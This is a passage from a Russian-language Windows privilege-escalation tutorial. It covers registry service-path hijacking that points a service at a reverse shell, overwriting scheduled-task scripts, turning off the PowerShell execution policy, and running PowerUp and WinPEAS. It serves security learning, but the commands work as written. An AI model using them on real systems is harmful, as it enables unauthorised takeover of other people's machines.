accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\reg_svcВстроенная группа NT AUTHORITY\INTERACTIVE имеет разрешения на чтение и запись. В эту группу входят все пользователи, которые вошли в систему на физическом хосте.
Когда у нас есть необходимые права, проверим запись в реестре по этому пути
reg query HKLM\System\CurrentControlSet\Services\reg_svcВывод:
FilePath "C:\Program Files\Services\registryservice.exe"Осталось дело за малым - переопределить запись реестра service.exe шеллом.
reg add HKLM\SYSTEM\CurrentControlSet\services\reg_svc /v FilePath /t REG_EXPAND_SZ /d C:\reverse_shell.exe /fОсталось только запустить слушателя на кали, перезапустить сервис и получить шелл.
Использование запланированных задач
Расписание задач может быть использовано для запуска вредоносного ПО или команд, которые помогут мне оставаться незамеченным и контролировать целевую систему удаленно. В линуксе для планировки задач мы использовали cron. В системе Windows cron называется Scheduled Tasks. Задачи могут быть запланированы для выполнения самим пользователем, а пользователи с повышенными правами могут запускать задачи и для других пользователей. Обычно эту уязвимость используют так:
- Найти сценарий, который вызовет у вас подозрение, вручную.
- Проверить содержимое (возможно, оно показывает, что это запланированная задача в разделе комментариев).
- Проверить свои права с помощью accesschk.exe, чтобы узнать, можно ли перезаписать сценарий.
- Если да, то перезаписываем всё на шелл.
Автоматизированные интструменты Windows PrivEsc
Автоматизированные инструменты для повышения привилегий в Windows - это комплексы утилит, скриптов и сканеров безопасности, которые помогают автоматизировать процессы увеличения привилегий на Windows системе. Они могут использоваться как легальными экспертами безопасности, так и зловредными хакерами для получения доступа к конфиденциальной информации или контроля над целевой системы. Для системы Windows существует множество автоматизированных инструментов. Есть хорошие, есть плохие. Теперь мы понимаем как работает повышение прав в ОС Windows, мы можем рассмотреть более детально инструменты для автоматизации.
PowerUp
Сценарий PowerUp.ps1 - это служеюная программа, которая пренадлежит набору инструментов PowerSploit. Данный сценарий PowerShell просканирует и определит все неправильные конфигурации в системе.
Перед запуском сценария, мы должны понять основную информацию о том, как запускать сценарии PowerShell. Чтобы выполнить код PowerShell, вам нужно будет использовать PowerShell, так? Что делать если у вас ограниченная командная строка? В этой строке вы можете добавить слово powershell перед выполнением кода. Типо: powershell
C:\tools\hack.ps1Обратим внимание на то, что нам нужно бдует изменить политику выполнения PowerShell на Unrestricted перед запуском сценария PowerUp. По дефолту, Microsoft включает эту функцию для защиты пользователей от вредоносных сценариев PowerShell:
powershell Set-ExecutionPolicy -Scope CerruntUser -ExecutionPolicy Unrestricted -ForceТеперь мы можем запустить сценарий PowerUp. Сначала загрузим его с помощью такой команды:
powershell . .\PowerUp.ps1Затем, дабы выполнить его, вызовем функцию Invoke-AllChecks:
powershell Invoke-AllChecksСсылка на инструмент: GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
WinPeas
Windows Privilege Escalation Awesome Scripts - Прекрасный инструмент для повышения своих привелегий. Обратите внимание, что на страинце с репозиторием в релизе уже есть скомпилированный вариант программы. Затем перед запуском инструмента WinPEAS, можно добавить запись в реестр с помощтб командной строки, чтобы добавить цвета к выходным данным
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1Когда команда для создания реестра будет выполнена, необходимо закрыть сеанс Windows и снова открыть новую командную строку.
Ссылка на иструмент: GitHub - peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
Заключение
Повышение привилегий в Windows - отличный способ получить доступ к конфиденциальной информации и возможность контролировать целевую систему. Это можно сделать с помощью уязвимостей, скрытых учетных записей или неправильных настроек безопасности в Windows. Но важно понимать что каждый случай уникальный.
